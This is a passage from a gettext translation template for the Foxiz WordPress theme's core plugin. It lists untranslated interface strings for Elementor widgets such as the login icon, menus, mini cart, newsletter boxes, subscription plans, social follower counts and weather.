"" #: elementor/list-small-1.php:584 msgid "Scrolling Mode" msgstr "" #: elementor/list-small-1.php:591 msgid "Scroll Bar" msgstr "" #: elementor/list-small-1.php:601 msgid "Block Height" msgstr "" #: elementor/list-small-2.php:26 msgid "Foxiz - Small List 2" msgstr "" #: elementor/list-small-2.php:676 elementor/list-small-3.php:648 msgid "Custom Featured Margin" msgstr "" #: elementor/list-small-3.php:26 msgid "Foxiz - Small List 3" msgstr "" #: elementor/login-icon.php:25 msgid "Foxiz - Header Login Icon" msgstr "" #: elementor/login-icon.php:50 msgid "Trigger Button Layout" msgstr "" #: elementor/login-icon.php:52 msgid "Select a layout for the sign in trigger button." msgstr "" #: elementor/login-icon.php:54 msgid "Icon" msgstr "" #: elementor/login-icon.php:55 msgid "Text Button" msgstr "" #: elementor/login-icon.php:62 msgid "User Dashboard Menu" msgstr "" #: elementor/login-icon.php:63 msgid "" "Assign a menu for displaying when hovering on the login icon if user logged." msgstr "" #: elementor/login-icon.php:73 msgid "Align" msgstr "" #: elementor/login-icon.php:82 msgid "Select a custom font size for the login icon/button." msgstr "" #: elementor/login-icon.php:95 msgid "Select a custom height value for the login icon." msgstr "" #: elementor/login-icon.php:123 msgid "Icon Style Settings" msgstr "" #: elementor/login-icon.php:132 msgid "Select a color for the login icon." msgstr "" #: elementor/login-icon.php:142 msgid "Select a color for the login icon in the dark mode." msgstr "" #: elementor/login-icon.php:151 msgid "Text Button Style Settings" msgstr "" #: elementor/login-icon.php:158 elementor/login-icon.php:220 #: elementor/login-icon.php:256 elementor/menu.php:105 elementor/menu.php:133 #: elementor/mini-cart.php:155 elementor/navigation.php:150 #: elementor/navigation.php:230 msgid "Text Color" msgstr "" #: elementor/login-icon.php:160 elementor/login-icon.php:179 msgid "Select a color for the text login button." msgstr "" #: elementor/login-icon.php:168 elementor/plan.php:183 msgid "Button Background" msgstr "" #: elementor/login-icon.php:170 msgid "Select a background color for the button." msgstr "" #: elementor/login-icon.php:177 elementor/mini-cart.php:182 msgid "Dark Mode - Text Color" msgstr "" #: elementor/login-icon.php:187 msgid "Dark Mode - Button Background" msgstr "" #: elementor/login-icon.php:189 msgid "Select a background color for the login button in the dark mode." msgstr "" #: elementor/login-icon.php:196 msgid "Button Font" msgstr "" #: elementor/login-icon.php:204 msgid "User Dropdown Settings" msgstr "" #: elementor/login-icon.php:211 elementor/mini-cart.php:146 #: elementor/notification-icon.php:151 msgid "Dropdown Right Position" msgstr "" #: elementor/login-icon.php:213 msgid "" "input a right relative position for the logged dropdown, for example: -200" msgstr "" #: elementor/login-icon.php:221 msgid "Select a text color for the logged dropdown." msgstr "" #: elementor/login-icon.php:229 elementor/menu.php:114 elementor/menu.php:142 #: elementor/navigation.php:159 elementor/navigation.php:239 msgid "Hover Text Color" msgstr "" #: elementor/login-icon.php:230 msgid "Select a text color for the logged dropdown when hovering." msgstr "" #: elementor/login-icon.php:238 elementor/mini-cart.php:164 #: elementor/notification-icon.php:160 elementor/search-icon.php:165 msgid "Background Gradient (From)" msgstr "" #: elementor/login-icon.php:239 elementor/mini-cart.php:165 #: elementor/notification-icon.php:161 msgid "Select a background color (color stop: 0%) for the dropdown section." msgstr "" #: elementor/login-icon.php:247 elementor/mini-cart.php:173 #: elementor/notification-icon.php:169 elementor/search-icon.php:174 msgid "Background Gradient (To)" msgstr "" #: elementor/login-icon.php:249 elementor/mini-cart.php:175 #: elementor/notification-icon.php:171 msgid "Select a background color (color stop: 100%) for the dropdown section." msgstr "" #: elementor/login-icon.php:257 msgid "Select a text color for the logged dropdown in the dark mode." msgstr "" #: elementor/login-icon.php:265 msgid "Dark Mode - Hover Text Color" msgstr "" #: elementor/login-icon.php:266 msgid "" "Select a text color for the logged dropdown when hovering in the dark mode." msgstr "" #: elementor/login-icon.php:274 elementor/mini-cart.php:191 #: elementor/notification-icon.php:178 elementor/search-icon.php:183 msgid "Dark Mode - Background Gradient (From)" msgstr "" #: elementor/login-icon.php:275 elementor/mini-cart.php:192 #: elementor/notification-icon.php:179 msgid "" "Select a background color (color stop: 0%) for the dropdown section in the " "dark mode." msgstr "" #: elementor/login-icon.php:283 elementor/mini-cart.php:200 #: elementor/notification-icon.php:187 elementor/search-icon.php:192 msgid "Dark Mode - Background Gradient (To)" msgstr "" #: elementor/login-icon.php:285 elementor/mini-cart.php:202 #: elementor/notification-icon.php:189 msgid "" "Select a background color (color stop: 100%) for the dropdown section in the " "dark mode." msgstr "" #: elementor/login-icon.php:296 msgid "- Assign a Menu -" msgstr "" #: elementor/logo.php:25 msgid "Foxiz - Site Logo" msgstr "" #: elementor/logo.php:42 msgid "Logo Settings" msgstr "" #: elementor/logo.php:49 msgid "Logo Image" msgstr "" #: elementor/logo.php:50 msgid "Select or upload a logo image." msgstr "" #: elementor/logo.php:57 msgid "Dark Mode - Logo Image" msgstr "" #: elementor/logo.php:58 msgid "Select or upload a logo image in the dark mode." msgstr "" #: elementor/logo.php:65 msgid "Custom Logo URL" msgstr "" #: elementor/logo.php:66 msgid "Input a custom URL for the logo, Default will return to the homepage." msgstr "" #: elementor/logo.php:86 msgid "Logo Width" msgstr "" #: elementor/logo.php:87 msgid "Set a max width for your logo" msgstr "" #: elementor/menu.php:25 msgid "Foxiz - Sidebar Menu" msgstr "" #: elementor/menu.php:42 elementor/navigation.php:42 msgid "Menu Settings" msgstr "" #: elementor/menu.php:49 elementor/navigation.php:49 msgid "Assign Menu" msgstr "" #: elementor/menu.php:50 msgid "Select a menu for this block." msgstr "" #: elementor/menu.php:67 msgid "Item Padding" msgstr "" #: elementor/menu.php:69 msgid "Input a custom spacing between menu item." msgstr "" #: elementor/menu.php:106 elementor/navigation.php:151 msgid "" "Select a text color for displaying in the navigation bar of this header." msgstr "" #: elementor/menu.php:115 elementor/navigation.php:160 #: elementor/navigation.php:213 msgid "Select a text color when hovering." msgstr "" #: elementor/menu.php:126 msgid "Dark Mode - Color Settings" msgstr "" #: elementor/menu.php:134 elementor/navigation.php:231 msgid "" "Select a text color for displaying in the navigation bar of this header in " "the dark mode." msgstr "" #: elementor/menu.php:143 elementor/navigation.php:240 #: elementor/navigation.php:293 msgid "Select a text color when hovering in the dark mode." msgstr "" #: elementor/menu.php:152 msgid "Font & Font Size" msgstr "" #: elementor/menu.php:159 msgid "Menu Font" msgstr "" #: elementor/menu.php:166 msgid "Sub Menu Font Size" msgstr "" #: elementor/menu.php:168 msgid "Input a custom font size value for the sub menu item." msgstr "" #: elementor/mini-cart.php:25 msgid "Foxiz - Header Mini Cart" msgstr "" #: elementor/mini-cart.php:51 msgid "Select a custom font size for the mini cart icon." msgstr "" #: elementor/mini-cart.php:63 msgid "Select a custom height value for the mini cart icon." msgstr "" #: elementor/mini-cart.php:100 msgid "Select a color for the mini cart icon." msgstr "" #: elementor/mini-cart.php:108 msgid "Cart Counter Color" msgstr "" #: elementor/mini-cart.php:110 msgid "Select a color for the cart counter dot." msgstr "" #: elementor/mini-cart.php:120 msgid "Select a color for the mini cart icon in the dark mode." msgstr "" #: elementor/mini-cart.php:128 msgid "Count Dot Color" msgstr "" #: elementor/mini-cart.php:130 msgid "Select a color for the cart counter dot in the dark mode." msgstr "" #: elementor/mini-cart.php:139 elementor/notification-icon.php:144 msgid "Dropdown Settings" msgstr "" #: elementor/mini-cart.php:148 msgid "" "input a right relative position for the mini cart dropdown, for example: -200" msgstr "" #: elementor/mini-cart.php:156 msgid "Select a text color for the mini cart dropdown." msgstr "" #: elementor/mini-cart.php:183 msgid "Select a text color for the mini cart dropdown in the dark mode." msgstr "" #: elementor/navigation.php:25 msgid "Foxiz - Menu Navigation" msgstr "" #: elementor/navigation.php:50 msgid "Select a menu for your website." msgstr "" #: elementor/navigation.php:61 msgid "Sticky Headline Bar" msgstr "" #: elementor/navigation.php:69 msgid "" "This feature requests to enable the \"Single Headline Sticky\" setting in " "the wrapper section in order to work." msgstr "" #: elementor/navigation.php:77 msgid "The single tagline will only appear in the single post." msgstr "" #: elementor/navigation.php:84 msgid "Sticky Single headline" msgstr "" #: elementor/navigation.php:86 msgid "Replace menu by post heading when scrolling in the single post page." msgstr "" #: elementor/navigation.php:103 msgid "Menu Height" msgstr "" #: elementor/navigation.php:105 msgid "Input custom height value (px) for this menu. Default is 60." msgstr "" #: elementor/navigation.php:111 elementor/social-list.php:83 msgid "Item Spacing" msgstr "" #: elementor/navigation.php:113 msgid "Input a custom spacing between menu item. Default is 12." msgstr "" #: elementor/navigation.php:143 msgid "Main Color Settings" msgstr "" #: elementor/navigation.php:168 elementor/navigation.php:248 msgid "Hover Accent Color" msgstr "" #: elementor/navigation.php:169 msgid "Select a accent color when hovering." msgstr "" #: elementor/navigation.php:178 msgid "Sub Menu Color Settings" msgstr "" #: elementor/navigation.php:185 elementor/navigation.php:265 msgid "Sub Menu - Background Gradient (From)" msgstr "" #: elementor/navigation.php:186 msgid "" "Select a background color (color stop: 0%) for the sub menu dropdown section." msgstr "" #: elementor/navigation.php:194 elementor/navigation.php:274 msgid "Sub Menu - Background Gradient (To)" msgstr "" #: elementor/navigation.php:195 msgid "" "Select a background color (color stop: 100%) for the sub menu dropdown " "section." msgstr "" #: elementor/navigation.php:203 elementor/navigation.php:283 msgid "Sub Menu - Text Color" msgstr "" #: elementor/navigation.php:204 msgid "Select a text color for the sub menu dropdown section." msgstr "" #: elementor/navigation.php:212 elementor/navigation.php:292 msgid "Sub Menu - Hover Text Color" msgstr "" #: elementor/navigation.php:223 msgid "Dark Mode - Main Color Settings" msgstr "" #: elementor/navigation.php:249 msgid "Select a accent color when hovering in the dark mode." msgstr "" #: elementor/navigation.php:258 msgid "Dark Mode - Sub Menu Color Settings" msgstr "" #: elementor/navigation.php:266 msgid "" "Select a background color (color stop: 0%) for the sub menu dropdown section " "in the dark mode." msgstr "" #: elementor/navigation.php:275 msgid "" "Select a background color (color stop: 100%) for the sub menu dropdown " "section in the dark mode." msgstr "" #: elementor/navigation.php:284 msgid "Select a text color for the sub menu dropdown section in the dark mode." msgstr "" #: elementor/navigation.php:302 msgid "Mega Menu - Color Scheme" msgstr "" #: elementor/navigation.php:311 msgid "" "In case you would like to switch layout and text to light when set a dark " "background for sub menu in light mode." msgstr "" #: elementor/navigation.php:330 msgid "Main Menu Font" msgstr "" #: elementor/navigation.php:338 msgid "Sub Menu Font" msgstr "" #: elementor/newsletter-1.php:25 msgid "Foxiz - FW Newsletter 1" msgstr "" #: elementor/newsletter-1.php:42 elementor/newsletter-2.php:42 #: elementor/newsletter-3.php:43 elementor/social-list.php:42 msgid "General" msgstr "" #: elementor/newsletter-1.php:50 elementor/newsletter-2.php:50 msgid "This layout is best suited for putting to a full width section." msgstr "" #: elementor/newsletter-1.php:58 elementor/newsletter-2.php:58 #: elementor/newsletter-3.php:59 msgid "Input a heading for the newsletter box." msgstr "" #: elementor/newsletter-1.php:60 elementor/newsletter-2.php:60 msgid "Always Stay Up to Date" msgstr "" #: elementor/newsletter-1.php:69 elementor/newsletter-2.php:69 #: elementor/newsletter-3.php:70 msgid "Input a description for the newsletter box." msgstr "" #: elementor/newsletter-1.php:70 elementor/newsletter-2.php:70 #: elementor/newsletter-3.php:71 msgid "Subscribe to our newsletter to get our newest articles instantly!" msgstr "" #: elementor/newsletter-1.php:76 elementor/newsletter-2.php:76 #: elementor/newsletter-3.php:77 msgid "Form Shortcode" msgstr "" #: elementor/newsletter-1.php:78 elementor/newsletter-2.php:78 #: elementor/newsletter-3.php:79 msgid "Input your newsletter form shortcode." msgstr "" #: elementor/newsletter-1.php:79 elementor/newsletter-2.php:79 #: elementor/newsletter-3.php:80 msgid "[mc4wp_form]" msgstr "" #: elementor/newsletter-1.php:86 elementor/newsletter-2.php:86 #: elementor/newsletter-3.php:87 msgid "Featured Image" msgstr "" #: elementor/newsletter-1.php:87 elementor/newsletter-2.php:87 #: elementor/newsletter-3.php:88 msgid "Input a featured image attachment URL for the newsletter box." msgstr "" #: elementor/newsletter-1.php:94 elementor/newsletter-2.php:94 #: elementor/newsletter-3.php:95 msgid "Dark Mode - Featured Image" msgstr "" #: elementor/newsletter-1.php:95 elementor/newsletter-2.php:95 #: elementor/newsletter-3.php:96 msgid "" "Input a featured attachment URL for the newsletter box in the dark mode." msgstr "" #: elementor/newsletter-1.php:110 elementor/newsletter-2.php:110 msgid "Background Image" msgstr "" #: elementor/newsletter-1.php:111 elementor/newsletter-2.php:111 msgid "Input a background image attachment URL for the newsletter box." msgstr "" #: elementor/newsletter-1.php:119 elementor/newsletter-2.php:119 msgid "Dark Mode - Background Image" msgstr "" #: elementor/newsletter-1.php:120 elementor/newsletter-2.php:120 msgid "" "Input a background attachment URL for the newsletter box in the dark mode." msgstr "" #: elementor/newsletter-2.php:25 msgid "Foxiz - FW Newsletter 2" msgstr "" #: elementor/newsletter-2.php:129 msgid "Input a custom inner padding for this block." msgstr "" #: elementor/newsletter-3.php:26 msgid "Foxiz - Sidebar Newsletter" msgstr "" #: elementor/newsletter-3.php:51 msgid "This layout is best suited for putting to a sidebar." msgstr "" #: elementor/newsletter-3.php:61 msgid "Subscribe Newsletter" msgstr "" #: elementor/newsletter-3.php:139 msgid "Featured Image Width" msgstr "" #: elementor/newsletter-3.php:140 msgid "Input a max width value (in px) for the featured image." msgstr "" #: elementor/notification-icon.php:25 msgid "Foxiz - Header Notification Icon" msgstr "" #: elementor/notification-icon.php:49 msgid "Destination Link" msgstr "" #: elementor/notification-icon.php:51 msgid "Input a destination URL for the notification panel." msgstr "" #: elementor/notification-icon.php:66 msgid "Select a custom font size for the notification icon." msgstr "" #: elementor/notification-icon.php:78 msgid "Select a custom height value for the notification icon." msgstr "" #: elementor/notification-icon.php:115 msgid "Select a color for the notification icon." msgstr "" #: elementor/notification-icon.php:125 msgid "Select a color for the notification icon in the dark mode." msgstr "" #: elementor/notification-icon.php:133 msgid "Notification Dot Color" msgstr "" #: elementor/notification-icon.php:135 msgid "Select a color for the notification dot icon." msgstr "" #: elementor/notification-icon.php:153 msgid "" "input a right relative position for notification dropdown, for example: -200" msgstr "" #: elementor/notification-icon.php:198 elementor/search-icon.php:203 msgid "Select color scheme for the search form to fit with your background." msgstr "" #: elementor/overlay-1.php:26 msgid "Foxiz - Overlay 1" msgstr "" #: elementor/overlay-1.php:530 msgid "" "This layout is best suited for putting to the column from 50% to 66.7% of " "the width." msgstr "" #: elementor/overlay-1.php:623 elementor/overlay-2.php:727 msgid "Custom Inner Padding" msgstr "" #: elementor/overlay-1.php:625 elementor/overlay-2.php:729 msgid "Input custom padding values (px) for the overlay content." msgstr "" #: elementor/overlay-1.php:660 msgid "Slider Mode" msgstr "" #: elementor/overlay-1.php:668 msgid "" "The ajax pagination and columns settings will be not available if the slider " "mode is activated." msgstr "" #: elementor/overlay-1.php:675 msgid "Slider" msgstr "" #: elementor/overlay-1.php:687 msgid "Enable or disable the pagination dot for this slider." msgstr "" #: elementor/overlay-1.php:697 msgid "Enable or disable the next/prev navigation dot for this slider" msgstr "" #: elementor/overlay-1.php:724 msgid "Next/Prev Icons Top Position" msgstr "" #: elementor/overlay-1.php:727 msgid "" "Input a position (percent) from the top for the next and prev slider buttons." msgstr "" #: elementor/overlay-2.php:26 msgid "Foxiz - Overlay 2" msgstr "" #: elementor/overlay-2.php:808 msgid "Carousel Gap" msgstr "" #: elementor/overlay-2.php:887 msgid "Slider Pagination Color" msgstr "" #: elementor/overlay-2.php:889 msgid "" "Select a color for the slider navigation at the footer of this carousel." msgstr "" #: elementor/plan.php:26 msgid "Foxiz - Plan Subscription" msgstr "" #: elementor/plan.php:60 msgid "Input a description for this plan." msgstr "" #: elementor/plan.php:69 msgid "Price" msgstr "" #: elementor/plan.php:71 msgid "Input a price for this plan." msgstr "" #: elementor/plan.php:78 msgid "Price Unit" msgstr "" #: elementor/plan.php:80 msgid "Input a price unit for this plan." msgstr "" #: elementor/plan.php:87 msgid "Price Tenure" msgstr "" #: elementor/plan.php:89 msgid "Input a price tenure for this plan." msgstr "" #: elementor/plan.php:97 msgid "Plan Feature" msgstr "" #: elementor/plan.php:98 msgid "Input a feature for this plan." msgstr "" #: elementor/plan.php:107 msgid "Plan Features" msgstr "" #: elementor/plan.php:117 msgid "Membership Payment Button Shortcode" msgstr "" #: elementor/plan.php:118 msgid "" "Input a payment button shortcode. Use button text if you would like to " "custom label. for example [swpm_payment_button id=1 button_text=\"Buy Now\"]" msgstr "" #: elementor/plan.php:129 msgid "or Free Button" msgstr "" #: elementor/plan.php:130 msgid "" "Input a free button label to navigate to the user to the register page. " "Leave blank the payment shortcode filed to use this setting." msgstr "" #: elementor/plan.php:141 elementor/plan.php:148 msgid "Box Style" msgstr "" #: elementor/plan.php:150 msgid "Select a style for for this plan box." msgstr "" #: elementor/plan.php:162 msgid "Box Style Color" msgstr "" #: elementor/plan.php:164 msgid "Select a color for your box style." msgstr "" #: elementor/plan.php:172 msgid "Dark - Box Style Color" msgstr "" #: elementor/plan.php:174 msgid "Select a color for this plan box in the dark mode." msgstr "" #: elementor/plan.php:185 elementor/plan.php:206 msgid "Select a background color for the payment button." msgstr "" #: elementor/plan.php:193 msgid "Dark - Button Background" msgstr "" #: elementor/plan.php:195 elementor/plan.php:216 msgid "Select a background color for the payment button in the dark mode." msgstr "" #: elementor/plan.php:204 msgid "Button Color" msgstr "" #: elementor/plan.php:214 msgid "Dark - Button Color" msgstr "" #: elementor/plan.php:231 msgid "Heading Font Size" msgstr "" #: elementor/plan.php:233 msgid "Input a custom font size (in px) for the plan heading." msgstr "" #: elementor/plan.php:255 msgid "Feature List Font Size" msgstr "" #: elementor/plan.php:267 msgid "Button Font Size" msgstr "" #: elementor/plan.php:269 msgid "Input a custom font size (in px) for the payment button." msgstr "" #: elementor/plan.php:288 msgid "Input a custom spacing value(px) between element." msgstr "" #: elementor/plan.php:357 msgid "Plan Features Font" msgstr "" #: elementor/quick-links.php:27 msgid "Foxiz - Quick Links" msgstr "" #: elementor/quick-links.php:56 msgid "Quick Links" msgstr "" #: elementor/quick-links.php:62 msgid "Layout" msgstr "" #: elementor/quick-links.php:75 msgid "Quick Link Title" msgstr "" #: elementor/quick-links.php:77 msgid "Input a quick link title." msgstr "" #: elementor/quick-links.php:84 msgid "Quick Link URL" msgstr "" #: elementor/quick-links.php:92 msgid "Add Quick Link" msgstr "" #: elementor/quick-links.php:98 msgid "Quick Link #1" msgstr "" #: elementor/quick-links.php:156 msgid "Header Label Font" msgstr "" #: elementor/quick-links.php:164 msgid "Quick link Item Font" msgstr "" #: elementor/search-icon.php:25 msgid "Foxiz - Header Search Icon" msgstr "" #: elementor/search-icon.php:49 msgid "Live Search Result" msgstr "" #: elementor/search-icon.php:51 msgid "Enable live search result when typing." msgstr "" #: elementor/search-icon.php:71 msgid "Select a custom font size for the search icon." msgstr "" #: elementor/search-icon.php:83 msgid "Select a custom height value for the search icon." msgstr "" #: elementor/search-icon.php:93 msgid "Custom Search SVG" msgstr "" #: elementor/search-icon.php:95 msgid "" "Override default search icon with a SVG icon. Ensure the setting \"Dashboard " "> Elementor > Settings > Enable Unfiltered File Uploads\" is enabled." msgstr "" #: elementor/search-icon.php:131 msgid "Select a color for the search icon." msgstr "" #: elementor/search-icon.php:141 msgid "Select a color for the search icon in the dark mode." msgstr "" #: elementor/search-icon.php:149 msgid "Popup Form Settings" msgstr "" #: elementor/search-icon.php:156 msgid "Popup Right Position" msgstr "" #: elementor/search-icon.php:158 msgid "" "input a right relative position for the popup search form, for example: -200" msgstr "" #: elementor/search-icon.php:166 msgid "Select a background color (color stop: 0%) for the popup search form." msgstr "" #: elementor/search-icon.php:176 msgid "Select a background color (color stop: 100%) for the popup search form." msgstr "" #: elementor/search-icon.php:184 msgid "" "Select a background color (color stop: 0%) for the popup search form in the " "dark mode." msgstr "" #: elementor/search-icon.php:194 msgid "" "Select a background color (color stop: 100%) for the popup search form in " "the dark mode." msgstr "" #: elementor/section.php:13 msgid "Foxiz - Dark Mode Background" msgstr "" #: elementor/section.php:19 msgid "Dark Mode Background" msgstr "" #: elementor/section.php:35 msgid "Foxiz - for Header Template" msgstr "" #: elementor/section.php:44 msgid "The settings below are used for the header template." msgstr "" #: elementor/section.php:51 msgid "Sticky Header" msgstr "" #: elementor/section.php:53 msgid "Enable or disable the sticky for this section." msgstr "" #: elementor/section.php:64 msgid "Smart Sticky" msgstr "" #: elementor/section.php:66 msgid "Only stick the main menu when scrolling up." msgstr "" #: elementor/section.php:75 msgid "Single Headline Sticky" msgstr "" #: elementor/section.php:77 msgid "" "Enable or disable the sticky for the single post headline. The single " "headline will replace on the main navigation." msgstr "" #: elementor/section.php:89 msgid "Header Sticky Background." msgstr "" #: elementor/section.php:96 elementor/section.php:112 msgid "Sticky Background" msgstr "" #: elementor/section.php:105 msgid "Dark Mode - Header Sticky Background." msgstr "" #: elementor/social-follower.php:26 msgid "Foxiz - Social Follower" msgstr "" #: elementor/social-follower.php:43 widgets/sb-social-icon.php:118 msgid "Social Settings" msgstr "" #: elementor/social-follower.php:50 widgets/sb-follower.php:102 msgid "FanPage Name" msgstr "" #: elementor/social-follower.php:59 widgets/sb-follower.php:109 msgid "Facebook Likes Value" msgstr "" #: elementor/social-follower.php:68 widgets/sb-follower.php:122 msgid "Twitter Name" msgstr "" #: elementor/social-follower.php:77 widgets/sb-follower.php:129 msgid "Twitter Followers Value" msgstr "" #: elementor/social-follower.php:86 widgets/sb-follower.php:142 msgid "Pinterest Name" msgstr "" #: elementor/social-follower.php:95 widgets/sb-follower.php:149 msgid "Pinterest Followers Value" msgstr "" #: elementor/social-follower.php:104 widgets/sb-follower.php:162 msgid "Instagram Name" msgstr "" #: elementor/social-follower.php:113 widgets/sb-follower.php:169 msgid "Instagram Followers Value" msgstr "" #: elementor/social-follower.php:122 widgets/sb-follower.php:182 msgid "Youtube Channel or User URL" msgstr "" #: elementor/social-follower.php:131 widgets/sb-follower.php:189 msgid "Youtube Subscribers Value" msgstr "" #: elementor/social-follower.php:140 widgets/sb-follower.php:202 msgid "Soundcloud User Name" msgstr "" #: elementor/social-follower.php:149 widgets/sb-follower.php:209 msgid "SoundCloud Followers Value" msgstr "" #: elementor/social-follower.php:158 widgets/sb-follower.php:222 msgid "Telegram Channel or Invite URL" msgstr "" #: elementor/social-follower.php:167 widgets/sb-follower.php:229 msgid "Telegram Members Value" msgstr "" #: elementor/social-follower.php:176 widgets/sb-follower.php:242 msgid "Vimeo User Name" msgstr "" #: elementor/social-follower.php:185 widgets/sb-follower.php:249 msgid "Vimeo Followers Value" msgstr "" #: elementor/social-follower.php:194 widgets/sb-follower.php:262 msgid "Dribbble User Name" msgstr "" #: elementor/social-follower.php:203 widgets/sb-follower.php:269 msgid "Dribbble Followers Value" msgstr "" #: elementor/social-follower.php:213 msgid "Widget Style" msgstr "" #: elementor/social-follower.php:220 widgets/fw-instagram.php:67 #: widgets/fw-instagram.php:86 widgets/fw-mc.php:71 widgets/sb-flickr.php:83 #: widgets/sb-follower.php:72 widgets/sb-instagram.php:72 msgid "Style" msgstr "" #: elementor/social-follower.php:222 msgid "Select a style for this widget." msgstr "" #: elementor/social-follower.php:224 widgets/sb-follower.php:74 msgid "Style 1" msgstr "" #: elementor/social-follower.php:225 widgets/sb-follower.php:75 msgid "Style 2" msgstr "" #: elementor/social-follower.php:226 widgets/sb-follower.php:76 msgid "Style 3" msgstr "" #: elementor/social-follower.php:227 widgets/sb-follower.php:77 msgid "Style 4" msgstr "" #: elementor/social-follower.php:228 widgets/sb-follower.php:78 msgid "Style 5" msgstr "" #: elementor/social-follower.php:229 widgets/sb-follower.php:79 msgid "Style 6" msgstr "" #: elementor/social-follower.php:230 widgets/sb-follower.php:80 msgid "Style 7" msgstr "" #: elementor/social-follower.php:231 widgets/sb-follower.php:81 msgid "Style 8" msgstr "" #: elementor/social-follower.php:232 widgets/sb-follower.php:82 msgid "Style 9" msgstr "" #: elementor/social-follower.php:233 widgets/sb-follower.php:83 msgid "Style 10" msgstr "" #: elementor/social-follower.php:234 widgets/sb-follower.php:84 msgid "Style 11" msgstr "" #: elementor/social-follower.php:235 widgets/sb-follower.php:85 msgid "Style 12" msgstr "" #: elementor/social-follower.php:236 widgets/sb-follower.php:86 msgid "Style 13" msgstr "" #: elementor/social-follower.php:237 widgets/sb-follower.php:87 msgid "Style 14" msgstr "" #: elementor/social-follower.php:238 widgets/sb-follower.php:88 msgid "Style 15" msgstr "" #: elementor/social-follower.php:247 msgid "Input custom font size for this widget." msgstr "" #: elementor/social-follower.php:298 msgid "Total Fans Text Font" msgstr "" #: elementor/social-follower.php:322 msgid "Custom Columns" msgstr "" #: elementor/social-follower.php:331 msgid "Columns" msgstr "" #: elementor/social-follower.php:333 msgid "Select number of columns for the social counter layout." msgstr "" #: elementor/social-follower.php:342 msgid "8 Columns" msgstr "" #: elementor/social-follower.php:343 msgid "9 Columns" msgstr "" #: elementor/social-list.php:25 msgid "Foxiz - Header Social List" msgstr "" #: elementor/social-list.php:50 msgid "" "This block will get information from Theme Options > Social Profiles to show." msgstr "" #: elementor/social-list.php:68 msgid "Select a custom font size for the social icons." msgstr "" #: elementor/social-list.php:77 msgid "Select a custom height value for the social icons." msgstr "" #: elementor/social-list.php:85 msgid "Input a custom spacing between social list item (in px). Default is 5." msgstr "" #: elementor/social-list.php:122 msgid "Select a color for the social icons." msgstr "" #: elementor/social-list.php:132 msgid "Select a color for the social icons in the dark mode." msgstr "" #: elementor/templates.php:28 msgid "Main Menu" msgstr "" #: elementor/templates.php:34 msgid "main menu" msgstr "" #: elementor/videos.php:28 msgid "Foxiz - Youtube Videos" msgstr "" #: elementor/videos.php:45 msgid "Videos Settings" msgstr "" #: elementor/videos.php:54 msgid "" "Note: Due to play/stop API control button so this block only supports " "Youtube videos." msgstr "" #: elementor/videos.php:63 msgid "Youtube Video URL" msgstr "" #: elementor/videos.php:65 msgid "Input video url..." msgstr "" #: elementor/videos.php:72 msgid "Video Title" msgstr "" #: elementor/videos.php:74 msgid "Input video title..." msgstr "" #: elementor/videos.php:81 msgid "Meta/Channel Name" msgstr "" #: elementor/videos.php:89 msgid "Custom Thumbnail (Optional)" msgstr "" #: elementor/videos.php:99 msgid "Add Videos" msgstr "" #: elementor/videos.php:105 msgid "Video Title #1" msgstr "" #: elementor/videos.php:122 msgid "Playlist Title Font Size" msgstr "" #: elementor/videos.php:131 msgid "Playing Title Font Size" msgstr "" #: elementor/videos.php:133 msgid "" "Input custom font size values (px) for the playing title for displaying in " "this block." msgstr "" #: elementor/videos.php:156 msgid "Playlist Title" msgstr "" #: elementor/videos.php:164 msgid "Playing Title Font" msgstr "" #: elementor/weather.php:26 msgid "Foxiz - Weather" msgstr "" #: elementor/weather.php:54 msgid "Input your title." msgstr "" #: elementor/weather.php:55 msgid "Weather" msgstr "" #: elementor/weather.php:62 msgid "Units:" msgstr "" #: elementor/weather.php:65 widgets/sb-weather.php:58 msgid "°C" msgstr "" #: elementor/weather.php:66 widgets/sb-weather.php:59 msgid "°F" msgstr "" #: elementor/weather.php:75 msgid "Location:" msgstr "" #: elementor/weather.php:78 widgets/sb-weather.php:75 msgid "Find your location" msgstr "" #: elementor/weather.php:78 msgid "(i.e: London, GB)" msgstr "" #: elementor/weather.php:79 msgid "London" msgstr "" #: elementor/weather.php:86 msgid "Weather API Key:" msgstr "" #: elementor/weather.php:89 msgid "How to get API key" msgstr "" #: elementor/weather.php:97 msgid "Forecast:" msgstr "" #: elementor/weather.php:100 widgets/sb-weather.php:91 msgid "1 day" msgstr "" #: elementor/weather.php:101 widgets/sb-weather.php:92 msgid "2 days" msgstr "" #: elementor/weather.php:102 widgets/sb-weather.php:93 msgid "3 days" msgstr "" #: elementor/weather.php:103 widgets/sb-weather.php:94 msgid "4 days" msgstr "" #: elementor/weather.php:104 widgets/sb-weather.php:95 msgid "5 days" msgstr "" #: elementor/weather.php:105 widgets/sb-weather.php:96 msgid "Do not display" msgstr "" #: elementor/weather.php:157 msgid "Location Font" msgstr "" #: elementor/weather.php:165 msgid "Current Temperature Font" msgstr "" #: foxiz-core.php:165 msgid "Job Name" msgstr "" #: foxiz-core.php:166 msgid "Facebook profile URL" msgstr "" #: foxiz-core.php:167 msgid "Twitter profile URL" msgstr "" #: foxiz-core.php:168 msgid "Instagram profile URL" msgstr "" #: foxiz-core.php:169 msgid "Pinterest profile URL" msgstr "" #: foxiz-core.php:170 msgid "LinkedIn profile URL" msgstr "" #: foxiz-core.php:171 msgid "Tumblr profile URL" msgstr "" #: foxiz-core.php:172 msgid "Flickr profile URL" msgstr "" #: foxiz-core.php:173 msgid "Skype profile URL" msgstr "" #: foxiz-core.php:174 msgid "Snapchat profile URL" msgstr "" #: foxiz-core.php:175 msgid "Myspace profile URL" msgstr "" #: foxiz-core.php:176 msgid "Youtube profile URL" msgstr "" #: foxiz-core.php:177 msgid "Bloglovin profile URL" msgstr "" #: foxiz-core.php:178 msgid "Digg profile URL" msgstr "" #: foxiz-core.php:179 msgid "Dribbble profile URL" msgstr "" #: foxiz-core.php:180 msgid "Soundcloud profile URL" msgstr "" #: foxiz-core.php:181 msgid "Vimeo profile URL" msgstr "" #: foxiz-core.php:182 msgid "Reddit profile URL" msgstr "" #: foxiz-core.php:183 msgid "Vkontakte profile URL" msgstr "" #: foxiz-core.php:184 msgid "Telegram profile URL" msgstr "" #: foxiz-core.php:185 msgid "Whatsapp profile URL" msgstr "" #: foxiz-core.php:186 msgid "Rss" msgstr "" #: includes/actions.php:184 msgid "Your Rating" msgstr "" #: includes/ads.php:181 includes/ads.php:184 msgid "Ad image" msgstr "" #: includes/amp.php:120 includes/amp.php:131 msgid "Foxiz supported and activated AMP in the Transitional mode." msgstr "" #: includes/extras.php:114 msgid "Confirmed" msgstr "" #: includes/extras.php:115 msgid "Death" msgstr "" #: 